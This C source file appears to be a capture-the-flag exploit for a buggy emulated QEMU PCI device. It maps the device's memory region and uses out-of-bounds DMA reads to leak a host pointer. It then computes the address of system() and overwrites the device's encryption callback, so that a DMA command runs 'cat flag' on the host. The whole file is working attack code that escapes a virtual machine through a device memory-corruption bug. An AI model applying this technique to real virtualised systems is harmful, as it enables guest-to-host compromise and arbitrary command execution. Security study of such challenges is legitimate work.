1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
| #include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <stdint.h>
#include <sys/mman.h>
#include <unistd.h>
#include <string.h>
#include <assert.h>
#define PAGE_SHIFT 12
#define DMA_BASE 0x40000
uint8_t *iomem;
uint8_t *dmabuf;
uint64_t dmabuf_phys_addr;
void die(const char *msg)
{
perror(msg);
exit(-1);
}
uint64_t virt2phys(void *p)
{
uint64_t virt = (uint64_t)p;
assert((virt&0xfff) == 0);
int fd = open("/proc/self/pagemap", O_RDONLY);
if (fd == -1) {
die("open2");
}
uint64_t offset = virt >> (PAGE_SHIFT-3);
lseek(fd, offset, SEEK_SET);
uint64_t phys;
if (read(fd, &phys, 8) != 8) {
die("read");
}
assert(phys & (1ULL << 63));
phys = (phys & ((1ULL << 54) - 1)) << PAGE_SHIFT;
return phys;
}
void iowrite(uint64_t addr, uint64_t value)
{
*((uint64_t *)(iomem + addr)) = value;
}
uint64_t ioread(uint64_t addr)
{
return *((uint64_t *)(iomem + addr));
}
void dma_setsrc(uint32_t src)
{
iowrite(0x80, src);
}
void dma_setdst(uint32_t dst)
{
iowrite(0x88, dst);
}
void dma_setcnt(uint32_t cnt)
{
iowrite(0x90, cnt);
}
void dma_setcmd(uint32_t cmd)
{
iowrite(0x98, cmd);
}
void dma_read(uint64_t addr, size_t len)
{
dma_setsrc(addr);
dma_setdst(dmabuf_phys_addr);
dma_setcnt(len);
dma_setcmd(0x3);
sleep(1);
}
void dma_write(uint64_t addr, void *buf, size_t len)
{
memcpy(dmabuf, buf, len);
dma_setsrc(dmabuf_phys_addr);
dma_setdst(addr);
dma_setcnt(len);
dma_setcmd(0x1);
sleep(1);
}
void dma_enc_read(uint64_t addr, size_t len)
{
dma_setsrc(addr);
dma_setdst(dmabuf_phys_addr);
dma_setcnt(len);
dma_setcmd(0x7);
sleep(1);
}
int main(int argc, char *argv[])
{
int fd = open("/sys/devices/pci0000:00/0000:00:04.0/resource0", O_RDWR|O_SYNC);
if (fd == -1) {
die("open");
}
iomem = mmap(0, 0x1000, PROT_READ|PROT_WRITE, MAP_SHARED, fd, 0);
if (iomem == MAP_FAILED) {
die("mmap");
}
printf("iomem @ %p\n", iomem);
dmabuf = mmap(0, 0x1000, PROT_READ|PROT_WRITE, MAP_SHARED|MAP_ANONYMOUS, -1, 0);
if (dmabuf == MAP_FAILED) {
die("mmap2");
}
// lock part or all of the calling process's virtual address space
// into RAM, preventing that memory from being paged to the swap area.
mlock(dmabuf, 0x1000);
dmabuf_phys_addr = virt2phys(dmabuf);
printf("dmabuff @ %p\n", dmabuf);
printf("dmabuff(phys) @ %p\n", (void *)dmabuf_phys_addr);
fflush(stdout);
// leak hitb_enc address
dma_read(DMA_BASE+0x1000, 8);
uint64_t hitb_enc = *((uint64_t *)dmabuf);
// calculate the system plt.got address
uint64_t elf_base = hitb_enc - 0x283DD0;
uint64_t system_pltgot = elf_base + 0x1FDB18;
printf("[email protected] @ 0x%lx\n", system_pltgot);
dma_write(DMA_BASE+0x1000, &system_pltgot, 8);
char *payload = "cat flag";
dma_write(DMA_BASE+0x100, payload, strlen(payload));
dma_enc_read(DMA_BASE+0x100, 0x4);
return 0;
}
|